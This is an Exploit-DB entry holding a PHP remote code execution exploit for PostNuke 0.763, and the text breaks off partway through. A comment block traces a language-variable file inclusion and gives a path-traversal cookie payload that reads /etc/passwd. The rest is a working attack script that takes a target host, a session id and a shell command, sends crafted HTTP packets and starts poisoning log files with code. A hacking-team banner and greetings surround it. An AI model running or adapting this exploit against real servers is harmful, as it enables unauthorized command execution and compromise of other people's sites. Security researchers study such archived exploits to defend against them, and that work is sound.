Exploit-DB #2707
Description: PostNuke 0.763 - 'PNSV lang' Remote Code Execution
Type: webapps
Platform: php
Date: 2006-11-03
Author: Kacper

Exploit:
<?

print '
:::::::::  :::::::::: :::     ::: ::::::::::: :::        
:+:    :+: :+:        :+:     :+:     :+:     :+:        
+:+    +:+ +:+        +:+     +:+     +:+     +:+        
+#+    +:+ +#++:++#   +#+     +:+     +#+     +#+        
+#+    +#+ +#+         +#+   +#+      +#+     +#+        
#+#    #+# #+#          #+#+#+#       #+#     #+#        
#########  ##########     ###     ########### ########## 
::::::::::: ::::::::::     :::     ::::    ::::  
    :+:     :+:          :+: :+:   +:+:+: :+:+:+ 
    +:+     +:+         +:+   +:+  +:+ +:+:+ +:+ 
    +#+     +#++:++#   +#++:++#++: +#+  +:+  +#+ 
    +#+     +#+        +#+     +#+ +#+       +#+ 
    #+#     #+#        #+#     #+# #+#       #+# 
    ###     ########## ###     ### ###       ### 
	
   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
 
PostNuke <= 0.763 Remote Code Execution Exploit

[Script name: PostNuke 0.763
[Script site: http://www.postnuke.com/
dork: "This web site was made with PostNuke"

Find by: Kacper (a.k.a Rahim)


========>  DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam  <========



Contact: kacper1964@yahoo.pl

or

http://www.rahim.webd.pl/


(c)od3d by Kacper
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Greetings DragonHeart and all DEVIL TEAM Patriots :)
- Leito & Leon 
TomZen, Gelo, Ramzes, DMX, Ci2u, Larry, @steriod, Drzewko, CrazzyIwan, Rammstein
Adam., Kicaj., DeathSpeed, Arkadius, Michas, pepi, nukedclx, SkD, MXZ, sysios, 
mIvus, nukedclx, SkD, wacky, xoron
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

                Greetings for 4ll Fusi0n Group members ;-)

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
';
/*
lets start:

in error.php line: 36-43:

....

include_once 'includes/pnAPI.php';
pnInit();
$currentlang = pnUserGetLang();                                 // <------------ {1}
if (file_exists("language/$currentlang/error.php")) {    // <------------ {2}
    include "language/$currentlang/error.php";             // <------------ {3}
} elseif (file_exists("language/eng/error.php")) {
    include "language/eng/error.php";
}

....
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
includes/pnAPI.php line: 217:

....
    include 'includes/pnUser.php';
....

line 230:

....
    include 'includes/pnSession.php';
....
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
includes/pnUser.php line: 610-618:

....
function pnUserGetLang()
{
    $lang = pnSessionGetVar('lang');       // <------------ {4}
    if (!empty($lang)) {
        return $lang;
    } else {
        return pnConfigGetVar('language');
    }
}
....
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
includes/pnSession.php line: 120-126:

....
function pnSessionGetVar($name)
{
    if(isset($name) && isset($_SESSION['PNSV' . $name])) {  // <------------ {5}
        return $_SESSION['PNSV' . $name];
    }
    return false;
}
....
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
We can to use local inclusion :) just put cookie: PNSV lang=../../../../../../../../../etc/passwd%00

by Kacper ;)


*/
if ($argc<5) {
print_r('
-----------------------------------------------------------------------------
Usage: php '.$argv[0].' host path session_id cmd OPTIONS
host:      target server (ip/hostname)
path:      PostNuke path
session_id:   register in postnuke, login and insert you session id
cmd:       a shell command (ls -la)
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' 2.2.2.2 /PostNuke/ c16d9ef241904bf801c6e[PII_REDACTED]6 ls -la -P1.1.1.1:80
php '.$argv[0].' 1.1.1.1 /  -p81
-----------------------------------------------------------------------------
');

die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}
function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$host=$argv[1];
$path=$argv[2];
$session=$argv[3];
$cmd="";

$port=80;
$proxy="";
for ($i=4; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}


echo "[1] insert evil code in logfiles ...\r\n\r\